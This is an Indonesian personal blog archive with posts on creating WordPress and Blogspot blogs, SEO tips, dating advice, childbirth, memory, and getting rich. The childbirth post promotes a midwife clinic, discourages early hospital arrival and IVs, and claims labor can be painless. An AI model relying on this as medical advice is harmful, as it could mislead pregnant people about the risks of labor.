Warung Bebas

Senin, 31 Desember 2012

Cara Membuat Blog Gratis Wordpress

Okey Pembahasan kali ini mengenai Cara Membuat Blog Di Wordpress Gratis Dan Mudah, Pada pembahasan sebelumnya yaitu Cara membuat blog gratis di blogspot dan Cara membuat atau buat Blog.

Blog di wordpress
Kata Kunci Tutorial Ini;

Okey kita kembali lagi ke pembahasan kita yaitu Cara Membuat Blog Di Wordpress Gratis Dan Mudah. Nah blog yang saya jelaskan adalah lebih banyak fokus pada blogspot. Kali ini akan saya jelaskan secara singkat cara membuat blog wordpress. Cara membuatnya mudah dan praktis. Dan yang jelas gratis. Sebagaimana kita tahu bahwa blog wordpress ada dua macam. Ada yang gratis dan ada yang berbayar. Blog yang sedang anda nikmati ( baca maksud saya ) adalah blog wordpress berbayar

Nah dan yang tak kalah pentingnya adalah saya bisa tetap berbagi dan menemui anda semua di internet. Senang sekali kan bisa memberikan ilmu-ilmu untuk para rekan di seluruh Nusantara. Walau terus terang, ilmu masih sedikit, tapi paling tidak memberikan pengetahuan buat orang lain adalah suatu kenikmatan tersendiri. Kembali pada blog wordpress gratis. Walau gratis jika dikelola dengan baik, diupdate dengan informasi secara rutin, maka blog akan menjadi populer dan banyak diminati.

Maaf ya kok panjang banget pendahuluanya. Langsung saja. Membuat blog wordpress gratis tentu saja sangat mudah. Sesuai dengan judul artikel kali ini “Cara Praktis Membuat Blog WordPress”. Karena memang membuat blog wordpress itu sangat mudah. Semudah membalik telapak tangan. Malah lebih mudah dari pada mencangkul di sawah. Ada seorang teman berkata, saya tidak tahumembuat blog. Sulit benar. Kata hati saya : apanya yang sulit. kan modalnya hanya kemauan, punya alamat email, ya cukup. Kecuali tidak bisa menulis dan membaca. Kalau tidak bisa yang dua tersebut, maka memang tidak bisa membuat blog. He he he. Oke kita lanjutkan Cara Membuat Blog WordPress. Berikut cara mudah membuat blog di WordPress :
1. Silahkan anda buka web wordpress di http://id.wordpress.com Ini versi Indonesia. Jika anda buka http://wordpress.com maka yang akan terbuka adalah versi English. Tinggal pilih saja. Tapi berhubung saya ini orang Indonesia asli, maka saya gunakan saja tutorial kali dengan bahasa Indonesia.Cara Membuat BLog Gratis di Wordpress

2. Klik Tombol Daftar Sekarang dan akan keluar form untuk melakukan pendaftaran. Di atasnya bertuliskan : Miliki Account WordPress.com dalam Hitungan Detik ! Lihat gambar


3. Isi semua form yang tersedia sebagai berikut :
• Alamat Blog, Isi dengan alamat blog yang anda inginkan misalnya : TheOkeBlog Tergantung ketersediaan. Jika alamat yang anda tuliskan belum diambil orang lain, maka akan muncul pemberitahuan bahwa alamat blog masih tersedia.

• Nama Pengguna : Secara otomatis setelah anda masukka alamat blog di atas maka akan menjadi Nama Pengguna
• Kata Sandi : Adalah rangkaian kata rahasia hanya anda yang tahu. Buatlah seunik mungkin agar aman dari pencurian password/kata sandi
• Konfirmasi : Silahkan ketik ulang password/kata sandi yang telah anda buat tadi.
• E-mail Address : Isi dengan alamat email anda yang valid aleas tidak main main. Kalau Alamat Palsu maka akan dimarahi Ayu Ting Ting….eiiiit kok jadi ngelantur. Alamat email wajib valid karena nanti anda harus melakukan aktivasi. Link aktivasi akan dikirim ke email Sobat.
• Bahasa Tulisan Blog, Pilihlah bahasa sesuai dengan blog yang akan anda kelola. Jika blog anda akan diisi dengan bahasa Inggris, pilih saja bahasa Inggris.
• Terus tarik ke bawah dan ada tombol Create Blog.BLog Gratis di Wordpress

Nah yang ter'akhir Sukses deh. Silahkan cek email Sobatt untuk melakukan aktivasi. Sebelum melakukan aktivasi maka anda belum bisa melakukan blogging. Buka email dari wordpress di inbox anda. Ada link untuk aktivasi silahkan klik tombol Activate Blog. Insya Allah seperti gambar di bawah ini :
Oke sudah beres proses pembuat blog anda. Tinggal bagaimana mengisinya dengan artikel-artikel anda yang berkwalitas dan Bermanfaat.

Okey Sekian dulu pembahasan saya mengenai Cara Membuat Blog Di Wordpress Gratis Dan Mudah, Semoga Bermanfaat. Amin

Minggu, 30 Desember 2012

Cara Buat Blog 2013

Cara Membuat Blog, Mungkin anda adalah sesorang yang ingin buat blog 2013 ala gratis atau semacamnya. Postingan membuat blog ini diharapkan bisa sebagai jalan keluar anda untuk belajar buat blog pada awal tahun baru 2013 ini.
BUAT BLOG GRATIS


Fungsi Membuat Blog


Keuntungan Membuat Blog

Keuntungan ngeblog itu banyak, bisa menjadi sarana silaturahmi, cari informasi, belajar bahkan jadi sebuah hobby yang menghasilkan, cerita penghasilan dari ngeblog bisa dilihat di Penghasilan Ngeblog .

Berikut ini kumpulan cara buat blog Gratis . Cocok untuk pemula sepertiku yang masih menggunakan serba gratis di blognya. Bila sudah lumayan expert nanti bisa saja beralih ke CMS lain yang dinilai lebih pro, tapi menurutku sama saja kok cara bikin blog gratis maupun berbayar.

Pada awalnya di postingan ini hanya ada cara buat blog di Blogger.com (blogspot) cara membuat blog di cms lain seperti blogdetik,wordpress.com, dag dig dug, kompaisana dan lain-lain menyusul postingannya pada lain waktu.

Bukan hanya cara membuat blogger standard yang akan kupaparkan di sini tapi juga ada sedikit tips BLOG  seputar blogspot yang Insya Allah bisa membuat blog yang dibuat sudah siap tempur di dunia blog Indonesia. Posting ini akan diedit secara berkala.

Cara buat Blog baru

Membuat BLOG tergolong sangat mudah. Banyak cara buat blog yang bisa dilakukan. Ada yang membuat blog dengan versi berbayar dan ada juga yang versi Blog gratis. Tentunya dengan hasil yang berbeda. Untuk yang punya modal tentunya bisa menyewa desainer BLOG untuk membuat blognya tampil lebih baik.

Tapi kali ini kita tidak akan membahas Cara membuat Blog yang berbayar alias premium tapi kita hanya kan membahas Cara Buat BLOG gratisan Baik Itu dari Blogger Maupun Wordpress.

Untuk lebih memudahkan tutorial membuat blog gratis ini, Postingan dibagi menjadi 2 artikel:

Membuat BLOG gratis Di Blogspot / Blogger

    Blogspot adalah penyedia layanan Blog gratisan milik mbah google. kenal gak? "hehehhehe" :D. Dengan blog dari blogspot anda bisa  buat blog dengan gratis dengan kualitas terbaik. Siap memulai? Yuk... Pelajari Cara Membuat Blog Gratis di Blogspot 

    Membuat BLOG gratis Di Wordpress

      Wordpress adalah juga penyedia blog gratisan selain Blogspot. Wordpres hampir sama kualitasnya dengan blog blogspot. Intinya memiliki kelebihan masing2. Dan menurut saya kualitasnya sama2 bagus kok... Pelajari Cara Membuat Blog Gratis Diwordpress
      Anda bisa mempelajari cara membuat blog diatas. Tinggal pilih pakah buat blog blogspot atau buat blog wordpress. Akhir kata "semoga bermanfaat".

      Sabtu, 29 Desember 2012

      Optimasi Di Blog Baru

      Blog yang baru saja anda buat atau setelah selesai membuat blog Gratis, tentunya masih kosong tanpa aksesoris dan postingan. Seiring berjalannya waktu bergilir, lama kelamaan akhirnya blog anda sudah lengkap dengan aksesoris dan postingan blog yang bermutu. Walaupun sebelumnya kita pernah membahas 10 Tips SEO baru, maka kali ini Ada beberapa tips yang dapat anda lakukan untuk  mengoptimalkan blog baru anda. Intinya anda jangan terburu-buru untuk menyelesaikan blog dengan banyak postingan dan aksesoris. Santailah tapi tetap fokus pada blog anda.

      Beberapa Cara Cepat OPTIMASI BLOG BARU :

      1. Mencari topic blog yang anda anggap bagus di Google keyword external, pilih topic blog dengan jumlah competitor yang masih sedikit, jika competitor sudah banyak blog baru anda akan sulit bersaing dengan yang sudah ada, apalagi kompetitornya para master.
      2. Selalu update konten blog dengan yang original, usahakan jangan langsung copy paste, artikel yang anda copy sebaiknya di modifikasi dengan menggunakan bahasa sendiri. Sekalian belajar cara nulis artikel. Update konten anda 1 2 kali sehari. Lakukan cara ini paling tidak selama 3 bulan pertama. Oh ya sebaiknya gunakan template standar dari blogspot dahulu, agar Google lebih senang dan merasa dekat dengan anda.
      3. Selama 3 bulan pertama jangan memasukkan backlink dahulu, biarkan Google bekerja untuk menyeleksi blog kita. Setelah bulan ke 4 5 masukkan backlink dari dari berbagai sumber yang anda anggap berkualitas.
      4. Setelah tahap ini, anda bisa memantau jumlah pengunjung blog anda, jika sudah lumayan banyak pengunjung, silahkan memasang script advertiser yang anda suka (adsense,bidvertiser,adbrite,kumpulblogger,dll). Saya terkadang kurang sabar untuk yang satu ini, jumlah pengunjung masih sedikit tapi tetep nekat pasang iklan, hehhehehe namanya juga masih newbie.
      5. Blogwalking atau berkunjung ke blog lain yang mempunyai topic yang sejenis, tinggalkan komentar anda disana. Disamping nambah teman juga sekalian promosi blog anda agar pengunjungnya semakin banyak.
      6. Selalu berusaha untuk meningkatkan kualitas backlink dengan berbagai cara agar jumlah pengunjung semakin banyak dan page rank blog anda semakin naik. Jika page rank naik otomatis kantong semakin tebal khan.
      7. Tetap konsen, fokus dan semangat untuk terus nulis artikel, jangan berhenti di titik 3 bulan pertama, blog yang berpenghasilan tinggi biasanya yang sudah berumur 1-2 tahun atau lebih. Jangan lupa selalu berdoa semoga blog anda mendapat hadiah page rank dari google, bukan hadiah banned.
      Sumber : Tutorial Blog Dan Optimasi Seo

        Kamis, 27 Desember 2012

        Mencari-Cari Jodoh Wanita / Pria

        Bingung Bagaimana cara cari jodoh atau sedang sibuk mencari tips mancari jodoh? Baik wanita maupun pria pasti sangat menginginkan jodoh yang tepat dalam pencariaanya. Yang cowok menginginkan jodoh cewek dan yang cewek menginginkan jodoh pria atau cowok.
        Mencari Jodoh Pria / Wanita
        Untuk mencari jodoh, seseorang bisa rela mealukan apa saja untuk mendapatkan pasangan jodoh yang tepat.

        Berikut ada Tips mencari jodoh Yang sederhana

        • Hati mesti bersih: Hati kite ni walaupun bersih tapi kadang-kadang ade kotornye. Contoh: cepat menyampah dgn org, cepat meluat, cepat benci dan sebagainye. Jadi cuba kikiskan sikap-sikap negatif ni supaya terpancar ketulusan / keikhlasan hati utk menyayangi seseorang. 
        • Sikap positif terhadap orang: Jangan selalu ade syak wasangka yang bukan-bukan. 
        • Ikhtiar: Ini penting...suruh le mak, bapak, kakak, kekawan, sedara carikan. Kalau boleh MANDI BUNGA supaya terserlah keserian wajah. 
        • Berdoa pada Allah: Baca ayat seribu dinar 3x dan surah Yusuf ayat ke 4 selepas every solat. 
        • Cara Komunikasi: Kalau bercakap dgn lelaki jgn kasar sgt dan jgn lembut sgt. Org lelaki paling tak suke kalau perempuan cakap kasar.."muka je lawa tapi mulut...kasakkkknyeee". Kalau cakap lembut sgt pun dipanggil mengada-ngada. So take the middle approach. 
        • Mempunyai perasaan sayang / caring / prihatin terhadap orang. Kalau tak tunjuk caring, camna org nak care kite balik. Tapi not too much...as mentioned take the middle approach. 
        • Last sekali pergaulan kite: Kenelah bergaul dgn org ramai. Barulah nampak muka. Kalau dok memerap kat rumah (bak kata Dr Masyitah) kalau lawa sekalipun..org tak tahu. So, tunjuk-tunjukkanlah muka tu asal tidak melebihi batasan agama.
        Mencari jodoh atau pasangan hidup memang susah-susah gampang. Ada yang memanfaat biro jodoh unuk bertemu kenalan, ada juga yang melaui kontak jodoh. Namun tak terlepas bagaimana cara anda / bagaimana anda menggaet pasangan anda. Mungkin ini akan sedikit membutuhkan kepercayaan diri dan tidak hanya itu, tapi juga memiliki cara yang tepat dalalm memilih dan menetukan jodoh yang tepat.


        Hal Penting CARI JODOH, Kenalan, Pasangan, Pacar dan Teman Hidup (secara umum) :

        • Menentukan Jodoh Dengan Zodiak.
        • Menentukan dan memilih jodoh, Pacar atau pasangan dengan kepribadian
        • Cari Jodoh Yang memiliki keyakinan sama baik hobby maupun agama
        • Cari jodoh / Kenalan dengan memperhatikan kariernya.


        Pertanyaan Dalam hal cari Jodoh

        • Penghambat Datangnya Jodoh Pada wanita
        Kamu seorang wanita yang tengah menanti datangnya jodoh idaman? Barangkali kamu bertanya-tanya, mengapa hingga di umur yang telah tergolong matang, kamu belum juga mendapatkan jodoh idaman kamu. Padahal, kamu merasa telah membuka diri untuk berteman dengan banyak orang dari berbagai kalangan. Akan tetapi, jodoh yang kamu tunggu belum juga hadir dalam kehidupan kamu.
        Kunci sukses dalam segala hal adalah berdoa dan berusaha. Demikian pula untuk mendapatkan jodoh idaman, doa dan usaha harus sama-sama dijalankan dengan sungguh-sungguh. Sebagai upaya lain untuk mendapatkan jodoh idaman, kamu sebaiknya melakukan evaluasi diri. Barangkali dalam diri kamu terdapat sifat-sifat atau kebiasaan yang tidak disukai para pria. Sebab, hal ini dapat menjadi penghalang seorang wanita untuk segera mendapatkan jodoh idaman. Berikut adalah hal-hal pada diri wanita yang tidak disukai oleh pria.
        1. Para pria tidak menyukai wanita yang tampil terlalu seksi di depan umum. Mereka lebih menyukai wanita yang tampil anggun dan tidak terlalu mengumbar lekuk tubuh.
        2. Para pria tidak menyukai wanita yang terlalu berlebihan dalam menggunakan make up. Make up yang terlalu tebal atau menor membuat wanita kehilangan pesona alamiahnya yang manis.
        3. Para pria tidak menyukai wanita yang tidak memperhatikan penampilannya secara keseluruhan. Penampilan yang kusut, acak-cakan, tidak serasi, baju kedodoran, atau model baju yang tidak sesuai dengan bentuk tubuh membuat wanita terlihat sangat tidak menarik di mata pria.
        4. Para pria tidak menyukai wanita yang terlalu kaku, serius, dan mudah tersinggung. Sebaliknya, wanita yang humoris sangat disukai oleh para pria.
        5. Para pria tidak menyukai wanita yang terlalu suka mengatur dan melarang. Mereka ingin dimengerti, diterima apa adanya, dan diberi kebebasan untuk melakukan berbagai hal. Sikap terlalu mengatur dan terlalu banyak melarang terasa sangat mengganggu bagi para pria.
        6. Para pria tidak menyukai wanita yang terlalu banyak mengeluh. Mendengar keluhan demi keluhan memang melelahkan. Betapa tidak, bagi seorang pengeluh, segalanya dikeluhkan seolah tidak ada yang dapat disyukuri. Panas, hujan, macet, lapar, kenyang, lelah, mengantuk, semua menjadi sumber keluhan yang tidak habis-habisnya.
        7. Para pria tidak menyukai wanita matre. Materi memang penting sebagai bekal untuk menjalani kehidupan ini, tetapi bukan segalanya dan tidak harus terlampau berlimpah baru bisa membuat orang bahagia. Wanita yang materialistis dan selalu mengukur segalanya dengan harta atau uang jelas bukan sosok yang menarik bagi para pria. Wanita tipe ini juga cenderung memunculkan kecurigaan bahwa ketika ia mendekati seorang laki-laki, motivasinya bukan perasaan sayang yang tulus, melainkan karena ingin memanfaatkan harta si laki-laki. Dan, ketika harta tidak ada, cinta pun akan musnah.
        Sebagai bagian dari upaya untuk mendapatkan jodoh idaman, kamu sebaiknyasegera berusaha mengubah sifat-sifat yang tidak disukai pria dari seorang wanita sendaianya sifat tersebut ada pada diri kamu.

        • Jodoh Apa Yang diinginkan wanita ?
        1. Wanita menginginkan seorang pria yang memiliki rasa percaya diri!
        2. Wanita menginginkan seorang pria yang membuatnya merasa seperti dia satu-satunya.  Jika ia dingin, tawarkan padanya jaket Anda. Jika dia dalam kesulitan, lindungi dia.
        3. Wanita menginginkan seorang pria dengan rasa humor. Seorang wanita akan hampir selalu menyukai pria yang bisa membuatnya tertawa. Jika Anda membuat seorang wanita tertawa,  maka Anda telah mencapai setengah perjuangan untuk meluluhkan hatinya. Ahli rayuan ternama mengklaim bahwa menjadi  ”lucu” adalah kualitas paling penting untuk menarik seorang wanita.
        4. Wanita menginginkan seorang pria untuk mendengarkan mereka (ya, bahkan sampai keluhan dan rincian dari semua kegilaan) dan tidak perlu memberikan saran.  Wanita menginginkan pria untuk mendengarkan mereka, karena mereka memiliki kebutuhan untuk didengar. Dan, wanita ingin pria mereka untuk mengekspresikan perasaannya dan percaya dengannya.
        5. Wanita menginginkan pria untuk memperlakukan mereka seperti mereka adalah wanita terseksi di planet ini dan bahwa tidak ada wanita lain yang menandinginya. Berbicara tentang mantan pacar tidak akan membuat Anda mencetak poin besar dengan wanita baru Anda.
        6. Wanita ingin tahu Anda akan setia. Kunci kesetiaan berasal dari karakter batin Anda sendiri.  Jadilah orang berkarakter dan Anda akan menuai  hasilnya dalam bentuk terbangunnya hubungan di atas kepercayaan. Anda mendapatkan rasa hormat  dari pasangan Anda melalui tindakan kesetiaan yang dilakukan secara konsisten.
        7. Wanita ingin diperlakukan sederajat dengan Anda. Ini tidak benar. Wanita ingin diperlakukan seperti wanita.
        10. Jadilah teman sejati. DENGARKAN DIA. Biarkan pada saat yang baik dia curhat kepada  Anda.
        11. Wanita ingin dicintai. Wanita menginginkan pria yang  menjadikannya sebagai kekasih bukan sebagai  objek seks belaka.
        12. Wanita menginginkan pria yang menawarkan rasa aman, terutama ketika dirinya sedang  sakit atau beranjak  tua. Berikan rasa aman melalui dukungan secara  emosional maupun fisik. Misalnya,  saat dia harus menjalani operasi, ambillah cuti dan temani dia. Pegang tangannya sebagai bentuk perhatian penuh Anda padanya.

        Rabu, 26 Desember 2012

        Menghadapi Persalinan dan Kelahiran

        Tips Persalinan Semakin hari semakin banyak cerita yang menyeramkan dan horor di seputar proses persalinan. Di mana-mana semakin banyak ibu yang “tidak mampu” melahirkan dengan cara yang alami sehingga harus dilakukan berbagai intervensi medis, baik itu induksi, vaccum, forceps, bahkan SC. Hampir semua orang menyatakan melahirkan itu sakit, menyiksa dan mengerikan hingga tidak bisa diungkapkan dengan kata-kata. Bakan beberapa orang menyatakan bahwa melahirkan itu sakitnya seperti orang mau di cabut nyawanya. Padahal orang yang mau di cabut nyawanya saja gak pernah

        Menghadapi persalinancerita kalau itu sakit atau malah nikmat ya?
        Menghadapi persalinan Ketika sekelompok perempuan berkumpul bersama-sama di sebuah kelas persalinan, tanpa diragukan lagi mereka akan melakukan percakapan untuk berbagi pengalaman mereka sendiri ketika melahirkan. Beberapa akan menceritakan kisah horor mulai dari jam sampai hari-hari  yang menyakitkan saat proses persalinan. Beberapa bahkan akan menceritakan bagaimana mereka akhirnya dibujuk untuk sesar saja. Namun bagi mereka yang siap baik secara mental dan secara fisik mereka biasanya memiliki pengalaman yang paling indah dari hidup mereka saat melahirkan. Dan saat ini bisa kita lihat semakin hari angka operasi sesar di RS semakin meningkat dan ironisnya 50% bahkan lebih di lakukan atas indikasi permintaan pasien sendiri karena TAKUT SAKIT.

        Saya pribadi merasakan melahirkan itu nyaman dan nikmat tanpa ada rasa sakit sama sekali. Nah tentunya Ada cara-cara yang bisa Anda lakukan untuk mempersiapkan fisik, mental dan pikiran Anda dalam menghadapi persalinan sehingga proses persalinan berjalan dengan lancar nyaman bahkan nikmat.

         Ada beberapa kesalahan umum yang sering wanita buat dalam mempersiapkan persalinan. Namun, dengan sedikit pendidikan dan pengetahuan Anda dapat berharap untuk mendapatkan pengalaman persalinan yang lebih baik.

        Penelitian telah menunjukkan bahwa doula dapat membantu mencapai tujuan Anda untuk pengalaman melahirkan alami dan bebas stres dengan dukungan fisik, emosional dan informasi mereka yang terus menerus  selama persalinan dan melahirkan. Namun sayangnya di Indonesia tidak ada Doula yang ada hanya bidan dan di rumah sakit karena keterbatasan sumberdaya manusia sehingga seringkali ibu bersalin di abaikan saja dan tidak mendapatkan dukungan dari tenaga profesional.

        Sehingga disinilah tantangan bagi Anda untuk mempersiapkan dan memberdayakan diri lebih baik lagi. 

        Berikut adalah beberapa tips sederhana menghadapi persalinan untuk diikuti:

        Tips # 1: Pilih praktisi yang mendukung persalinan normal alami (**PRO NORMAL) . Pastikan Anda meluangkan waktu untuk mewawancarai dokter maupun bidan Anda. Semakin jelas Anda tentang apa jenis pengalaman melahirkan yang Anda ingin, semakin Anda dapat memilih seseorang yang akan mendukung visi Anda. Bidan biasanya lebih mendukung kelahiran alami. Mintalah rekomendasi..

        Tips # 2: Jangan mendengarkan atau membaca tentang informasi yang salah. Buatlah prioritas untuk mendengar tentang pengalaman menyenangkan dari keluarga lain '. Saya mendorong klien saya untuk mencari semua referensi saya dan mendengar cerita tentang pengalaman mereka sehingga  membuat klien saya bersemangat untuk mempersiapkan diri dengan lebih baik.

        Tips # 3: Menulis rencana melahirkan (BIRTH PLAN) . Ingat ketika Anda melahirkan di rumah sakit dokter hanya akan ada dan akan datang setelah Anda siap untuk mendorong atau mengejan. Jarang sekali dan hampir tidak ada dokter yang mau menunggui pasiennya sejak pembukaan awal hingga lengkap. Pastikan perawat atau bidan yang merawat Anda tahu apa keinginan Anda dan apa yang telah Anda didiskusikan dengan dokter anda. Tulis rencana kelahiran yang jelas, ringkas dan lembut. Dan hati-hati janga membuat birth plan yang terlalu ketat karena dapat berisiko memancing kemarahan staf rumah sakit. Karena kita tahu sendiri bagaimana karakteristik ornag di Indonesia ini. Jadi komunikasikan sejak awal kalau perlu cari info dan ajaklah berkenalan bidan-bidan yang sekiranya akan ada atau dinas di ruang bersain di RS tersebut.

        Tips # 4: Pilih teknik manajemen rasa nyeri-yang bekerja dengan baik untuk Anda. Apa yang membantu Anda rileks? Apakah hipnosis, pijat, musik? Sebelum Anda merasakan kontraksi, praktek kan dengan pasangan Anda atau pendamping dengan posisi yang berbeda, lakukan teknik pernapasan, dan ritual yang akan Anda lakukan selama dan setiap kontraksi. Mengetahui apa yang dapat Anda lakukan selama kontraksi akan membantu Anda mengelola itu. Penelitian telah menunjukkan bahwa hipnosis adalah salah satu bentuk yang paling baik dari manajemen nyeri

        Tips # 5: Tetap tegak dan berjalan. Bayi harus “membuat jalan” untuk menuruni rahim melalui jalan lahir dan keluar melalui vagina, teruslah berjalan biarkan tubuh Anda bebas bergerak, jika perlu lakukan goyangan seperti “goyang inul atau belly dance” lakukan dengan lembut ini akan memperbesar energi dari  gaya gravitasi bumi sehingga membantu bayi semakin turun ke jalan lahir dan dapat mengoptimalkan posisinya sesuai dengan sumbu lahirnya.

         Tips # 6: Jangan pergi ke rumah sakit terlalu dini. Tunggu sampai kontraksi intens dan lebih seringsekitar lima menit atau empat menit sekali dengan durasi minimal 20 detik. Jika Anda Sesampainya di rumah sakit terlalu dini ini akan memicu dan dapat membuat para dokter ingin mempercepat atau menginduksi persalinan.

        Tip # 7: Jadilah bebas untuk bergerak selama persalinan. Kecuali ada keadaan darurat medis, pemasangan Infus di rumah sakit akan membatasi gerakan alami yang membuat persalinan lebih lama dan sulit untuk untuk dilalui.

        Tip # 8: Ubah posisi. Tidak ada yang bisa mengelola nyeri karena kontraksi ketika mereka berbaring. Itu mungkin adalah alasan mengapa banyak wanita sekarang memilih epidural setelah mereka sampai ke rumah sakit.  Lakukan apa yang perlu Anda lakukan untuk naik: berjalan, jongkok, menari lambat. biarkan pasangan Anda membantu Anda.

        Tip # 9: Mari manfaatkan gaya gravitasi untuk Anda. Berbaring selama persalinan dan melahirkan adalah tidak wajar dan bertentangan dengan hukum gravitasi. Praktik sebelum kelahiran banyak posisi yang cocok untuk mendorong bayi keluar. Ikuti kelas persiapan persalinan di Bidan Kita, kami dapat menunjukkan Anda tepat pernapasan dan teknik mengejan yang baik, sehingga Anda dapat menemukan beberapa posisi yang paling nyaman bagi Anda.

        Tip # 10: Biarkan suara Anda didengar. Membuat suara-suara parau yang tepat dari inti usus Anda membantu dengan relaksasi dan memungkinkan Anda untuk mengekspresikan diri secara bebas dan ini membuat pengalaman emosional menyenangkan selama persalinan.

        Semoga info ini bermanfaat untuk Anda. dan jika Anda menginginkan proses persalinan yang nyaman ikutilah kelas relaksasi hypnobirthing di Alamat Klinik Bidan Kita *sumber Perumahan Cemara Hijau 2 no.7B, Gayamprit - Klaten || HOTLINE : ( 0272 ) 327574 / 328711

        Selasa, 25 Desember 2012

        Memilih Judul Blog Dalam Optimasi Seo

        Berikut ini adalah salah satu Tips Seo yang juga sangat penting untuk blog kita yaitu Memilih Judul Blog yang SEO.(Search Engine Optimization) adalah hal yang sangat harus diketahui oleh setiap blogger, dimana setiap artikel / postingan yang dia buat menjadi peringkat teratas di search engine. Sebagai contoh Blog saya ini Dengan judul Tips Trik Terbaru berhasil menduduki peringkat pertama pada google dengan keyword / judul  TIPS TERBARU.
        Judul Blog Seo
        Sc JUdul Blog saya Yang sangat SEO friendly 1/44 juta hasil

        Mengapa juga judul blog kita harus SEO ?


        Mengapa ? Jawabannya simpel. Karena jika judul blog kita menjadi top keyword yang sering dikunjungi orang sudah barang tentu blog kita akan menjadi teratas dan tentunya akan banyak pengunjungnya.

        Berikut ini contoh Judul blog yang SEO :
        Judul : Tips trik Terbaru
        URL : seperti yang ada diatas :D
        Keyword Tujuan : Tips Terbaru,Trik Terbaru,tips Trik terbaru
        Hasil : 100% judul blog seo killer

        Kenapa judul blog di ini SEO ?

        Nah, Saya rasa buat para blogger semua pasti ingin sekali mengetahui rahasia ini. Mungkin sudah kesana kesini dan putar sono sana "eheheheheheh" tapi nggak ada jaaban yang tepat. Pengalaman pribadi saya tentang judul blog ini memang sangat simple dan diluar perkiraan anda.

        "Judul Blog Harus membayangi Deskripsi - Konten ,dan keyword tentunya. Itu saja nggak ada yang spesial".

        Kesimpulan Optimasi Judul BLOG


        Memang sangat simple bukan. Tapi walau begitu simplenya Tips Judul Blog dari saya ini sudah terbukti. Saya berhasil menembak keyword yang saya mau dan setidaknya Optimasi Judul blog tsb cukup membantu saya dalam menambah kualitas SEO pada Blog-blog yang saya tulis. Seperti Bisa Anda lihat screenshoot Judul blog saya diatas :D. blog saya lainnya berjudul Tips Sahabat, Kata Motivasi Singkat dan lainn, Silahkan Bandingkan sendiri :)/ salam.


        Senin, 24 Desember 2012

        Daya ingat meningkat, Tidak mudah lupa

        Tips Meningkatkan Daya Ingat, Supaya tidak mudah lupa - Setiap manusia pasti memiliki sifat pelupa yang terkadang membuat orang tersebut menjadi sulit untuk menjalankan aktivitasnya. Bahkan tidak jarang orang yang pelupa merasa stress dengan keadaannya sehingga menambah beban hidupnya lebih buruk.
        Daya ingat meningkat,  Tidak mudah lupa

        Tapi saat ini ada cara-cara atau tips mudah agar kita bisa meningkatkan ingatan. Menurut informasi yang kami kutip dari http://id.shvoong.com , untuk menambah ingatan sebenarnya tidaklah sulit, karena pada dasarnya manusia memiliki sifat pelupa dan itu bisa diperbaikin secara alami juga.

        Dalam website tersebut dijelaskan, pernahkah tiba-tiba anda lupa pada sesuatu yang seharusnya anda ingat? Misalnya lupa jawal meeting, lupa meletakkan note book, bahkan lupa dimana anda meletakkan kacamata Anda. Belakangan ini, penyakit lupa memang bukan hanya dialami oleh kaum lansia. Menurut pakar, sering lupa merupakan gejala yang sering timbul jika seseorang jarang menggunakan otaknya. Jenuh dengan rutinitas juga merupakan salah satu penyebab lupa. Nah anda yang masih muda tetapi mulai sering ''''lupa'''', jangan diem aja. Anda harus mengatasinya. Anda harus mengasah otak anda agar selalu dapat berpikir jernih dan kreatif.

        Ini dia tipsnya: Pilih waktu yang tepat untuk berpikir pada orang yang lebih tua, pagi hari merupakan waktu yang paling pas untuk berpikir. Sedangkan pada sebagian besar orang yang lebih muda, waktu sianglah yang paling cocok.

        Carilah sendiri waktu mana yang paling nyaman bagi anda bila hendak memeras otak. Pelajari pengetahuan baru dengan mempelajari hal baru, otak akan terlatih untuk mengingat dan mengolah data. Setiap kali ada informasi pengetahuan baru tak ada salahnya anda pelajari sekedar men-charge otak anda.

        Catat hal-hal yang penting catatlah selalu hal-hal ingin anda ingat. Karena tulisan lebih bisa diandalkan daripada ingatan. Letakkan catatan tersebut di tempat yang mudah terlihat. Misalnya di atas meja kerja atau di depan cermin di rumah. Sehingga hal penting tersebut itu senantiasa ada dalam ingatan anda.

        Milikilah keterampilan mempelajari keterampilan baru dan kemudian melatihnya secara berkelanjutan terbukti mampu meningkatkan kemampuan ingatan manusia. Pilihlah ketrampilan yang menarik minat anda. Misalnya merangkai bunga, kursus montir, belajar musik, dan sebagainya. Biasakan berpikir alternatif Setiap kali menyelesaikan pekerjaan atau menghadapi masalah, biasakan untuk memiliki cadangan solusi.

        Sehingga jika solusi yang satu gagal, anda masih memiliki alternatif solusi yang lain. Memiliki lebih dari dua alternatif akan lebih baik. Berteman dengan orang yang pintar Penelitian membuktikan orang yang berada di lingkungan yang terdiri dari orang-orang yang pintar dan cerdas, akan terbawa cerdas pula.

        Karena lingkungan memang saling mempengaruhi. Maka jika ingin pintar bergaullah dengan orang yang pintar. Ini bisa mencegah ''''pelupa''''. Beri perhatian pada hal-hal yang perlu anda ingat setiap kali anda menghadapi hal yang penting, cobalah untuk memberi perhatian lebih. Misalnya ketika anda bertemu klien bisnis baru, ingat dan catat namanya dengan baik. Konsentrasikan pikiran anda pada hal yang penting itu.

        Dengarkan musik. Mendengarkan musik, bukan cuma bermanfaat bagi ibu-ibu yang tengah mengandung. Mendengarkan musik yang lembut saat anda suntuk diyakini dapat menyegarkan otak bahkan jiwa anda. Cobalah menikmati musik dengan keadaan rileks. Hal ini akan membuat pikiran anda lebih segar dan jernih. Karena dalam keadaan tenang, darah akan mengalir lancar ke otak anda.

        Berolahragalah. Olahraga secara secara teratur terbukti meningkatkan kinerja fisik dan otak anda. Alasannya, karena saat berolahraga pasokan oksigen ke dalam tubuh akan meningkat drastis. Termasuk pula pasokan untuk otak. Di samping itu, olahraga juga dapat merangsang peningkatan neurotrofin di dalam tubuh yang berguna untuk meningkatkan ingakatn kita.

        Jumat, 21 Desember 2012

        Cara Menjadi Kaya

        Cara Menjadi Kaya

        Anda ingin menjadi kaya pada usia muda? Siapakah Orang yang tidak ingin kaya? dan bagaimana supaya bisa kaya? Saya bukan bermaksud kaya hasil dari uang loteri atau nomor ekor. Tetapi kaya hasil dari titik peluh dan usaha sendiri seawal umur muda seperti Jutawan Steve Job dari Apple pada usia 27 tahun (awal 1980-an), Bill Gates dari Microsoft pada usia 30 tahun(1980-an), Larry Page dari Google pada usia 31 tahun (lewat 1990-an), Mark Zuckerberg – pengasas Facebook pada usia 24 tahun! atau Chad Hurley dari Youtube pada usia 30 tahun, dan banyak lagi. Mereka ini telah mencapai satu tahap kegemilangan seawal usia yang muda.

